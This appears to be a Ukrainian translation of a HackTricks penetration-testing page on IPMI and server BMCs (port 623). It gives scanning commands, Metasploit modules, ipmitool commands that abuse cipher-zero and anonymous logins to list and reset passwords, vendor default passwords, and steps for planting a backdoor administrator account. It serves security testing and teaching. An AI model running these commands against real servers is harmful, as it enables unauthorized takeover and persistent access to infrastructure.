# 623/UDP/TCP - IPMI ## 623/UDP/TCP - IPMI
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)! Інші способи підтримки HackTricks: * Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)! * Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com) * Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family) * **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
## Базова інформація ### **Огляд IPMI** **[Інтерфейс управління платформою Inteligent (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)** пропонує стандартизований підхід до віддаленого управління та моніторингу комп'ютерних систем, незалежно від операційної системи або стану живлення. Ця технологія дозволяє системним адміністраторам управляти системами віддалено, навіть коли вони вимкнені або не реагують, і особливо корисна для: - Конфігурацій перед завантаженням ОС - Управління вимкненням живлення - Відновлення після відмови системи IPMI може відслідковувати температури, напруги, швидкості вентиляторів та джерела живлення, а також надавати інформацію про інвентар, переглядати журнали обладнання та надсилати сповіщення через SNMP. Для його роботи необхідні джерело живлення та підключення до ЛВС. Починаючи з 1998 року, IPMI був підтриманий численними виробниками, покращуючи можливості віддаленого управління, особливо з підтримкою версії 2.0 для серійного зв'язку через ЛВС. Ключові компоненти включають: - **Контролер керування платою (BMC):** Основний мікроконтролер для операцій IPMI. - **Шини та інтерфейси зв'язку:** Для внутрішнього та зовнішнього зв'язку, включаючи ICMB, IPMB та різні інтерфейси для локальних та мережевих підключень. - **Пам'ять IPMI:** Для зберігання журналів та даних. ![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right) **Порт за замовчуванням**: 623/UDP/TCP (Зазвичай використовується UDP, але також може працювати на TCP) ## Перелік ### Відкриття ```bash nmap -n -p 623 10.0.0./24 nmap -n-sU -p 623 10.0.0./24 use auxiliary/scanner/ipmi/ipmi_version ``` Ви можете **ідентифікувати** **версію** за допомогою: ```bash use auxiliary/scanner/ipmi/ipmi_version nmap -sU --script ipmi-version -p 623 10.10.10.10 ``` ### Вразливості IPMI У світі IPMI 2.0 була виявлена значна вразливість безпеки Деном Фармером, яка виявляє вразливість через **тип шифрування 0**. Цю вразливість, детально задокументовану в [дослідженні Дена Фармера](http://fish2.com/ipmi/cipherzero.html), дозволяє несанкціонований доступ з будь-яким паролем, якщо цільовим є дійсний користувач. Ця слабкість була виявлена в різних BMC від виробників, таких як HP, Dell та Supermicro, що свідчить про поширену проблему у всіх реалізаціях IPMI 2.0. ### **Обхід аутентифікації IPMI через шифр 0** Для виявлення цієї вразливості можна використати наступний допоміжний сканер Metasploit: ```bash use auxiliary/scanner/ipmi/ipmi_cipher_zero ``` Експлуатація цієї уразливості можлива за допомогою `ipmitool`, як показано нижче, що дозволяє отримувати список та змінювати паролі користувачів: ```bash apt-get install ipmitool # Installation command ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password ``` ### **Отримання віддаленого хешу пароля за допомогою аутентифікації IPMI 2.0 RAKP** Ця уразливість дозволяє отримати захешовані паролі з сіллю (MD5 та SHA1) для будь-якого існуючого імені користувача. Для тестування цієї уразливості Metasploit пропонує модуль: ```bash msf > use auxiliary/scanner/ipmi/ipmi_dumphashes ``` ### **Анонімна аутентифікація IPMI** Стандартна конфігурація в багатьох BMC дозволяє "анонімний" доступ, що характеризується порожніми рядками для імені користувача та пароля. Цю конфігурацію можна використовувати для скидання паролів користувачів за допомогою `ipmitool`: ```bash ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword ``` ### **Чіткі паролі IPMI Supermicro** Критичний вибір дизайну в IPMI 2.0 передбачає зберігання чітких паролів у BMC для автентифікації. Зберігання Supermicro цих паролів у місцях, таких як `/nv/PSBlock` або `/nv/PSStore`, викликає серйозні проблеми з безпекою: ```bash cat /nv/PSBlock ``` ### **Вразливість Supermicro IPMI UPnP** Включення Supermicro UPnP SSDP слухача в його прошивку IPMI, зокрема на UDP порт 1900, вносить серйозний ризик безпеки. Вразливості в Intel SDK для UPnP пристроїв версії 1.3.1, які детально описані в [розкритті Rapid7](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play), дозволяють отримати root доступ до BMC: ```bash msf> use exploit/multi/upnp/libupnp_ssdp_overflow ``` ### Брутфорс **HP рандомізує пароль за замовчуванням** для свого продукту **Integrated Lights Out (iLO)** під час виробництва. Ця практика відрізняється від інших виробників, які зазвичай використовують **статичні облікові дані за замовчуванням**. Нижче наведено узагальнення облікових даних за замовчуванням для різних продуктів: - **HP Integrated Lights Out (iLO)** використовує **фабричний рандомізований рядок з 8 символів** як пароль за замовчуванням, що показує вищий рівень безпеки. - Продукти, такі як **Dell's iDRAC, IBM's IMM** та **Fujitsu's Integrated Remote Management Controller**, використовують легко вгадувані паролі, такі як "calvin", "PASSW0RD" (з нулем) та "admin" відповідно. - Так само, **Supermicro IPMI (2.0), Oracle/Sun ILOM** та **ASUS iKVM BMC** також використовують прості облікові дані за замовчуванням, де "ADMIN", "changeme" та "admin" слугують їх паролями. ## Доступ до Хоста через BMC Адміністративний доступ до контролера базової плати (BMC) відкриває різні шляхи для доступу до операційної системи хоста. Простий підхід полягає в експлуатації функціональності клавіатури, відео та миші (KVM) BMC. Це можна зробити шляхом перезавантаження хоста до кореневої оболонки через GRUB (використовуючи `init=/bin/sh`) або завантаження з віртуального CD-ROM, встановленого як диск для відновлення. Такі методи дозволяють безпосередньо маніпулювати диском хоста, включаючи вставлення задніх дверей, вилучення даних або будь-які необхідні дії для оцінки безпеки. Однак це вимагає перезавантаження хоста, що є значним недоліком. Без перезавантаження доступ до працюючого хоста складніший і залежить від конфігурації хоста. Якщо фізична або послідовна консоль хоста залишається увімкненою, її легко можна захопити через функціональності BMC KVM або послідовного доступу через LAN (sol) за допомогою `ipmitool`. Дослідження експлуатації спільних апаратних ресурсів, таких як шина i2c та чіп Super I/O, є областю, яка потребує подальших досліджень. ## Введення задніх дверей в BMC з Хоста Після компрометації хоста з BMC, **локальний інтерфейс BMC може бути використаний для вставлення облікового запису задніх дверей**, створюючи постійну присутність на сервері. Цей атака потребує наявності **`ipmitool`** на скомпрометованому хості та активації підтримки драйвера BMC. Наведені команди ілюструють, як новий обліковий запис може бути внесений в BMC за допомогою локального інтерфейсу хоста, що обходить потребу в аутентифікації. Ця техніка застосовна до широкого спектру операційних систем, включаючи Linux, Windows, BSD та навіть DOS. ```bash ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) ipmitool user set name 4 backdoor ipmitool user set password 4 backdoor ipmitool user priv 4 4 ipmitool user list ID Name Callin Link Auth IPMI Msg Channel Priv Limit 2 ADMIN true false false Unknown (0x00) 3 root true false false Unknown (0x00) 4 backdoor true false true ADMINISTRATOR ``` ## Shodan * `порт:623` ## References * [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)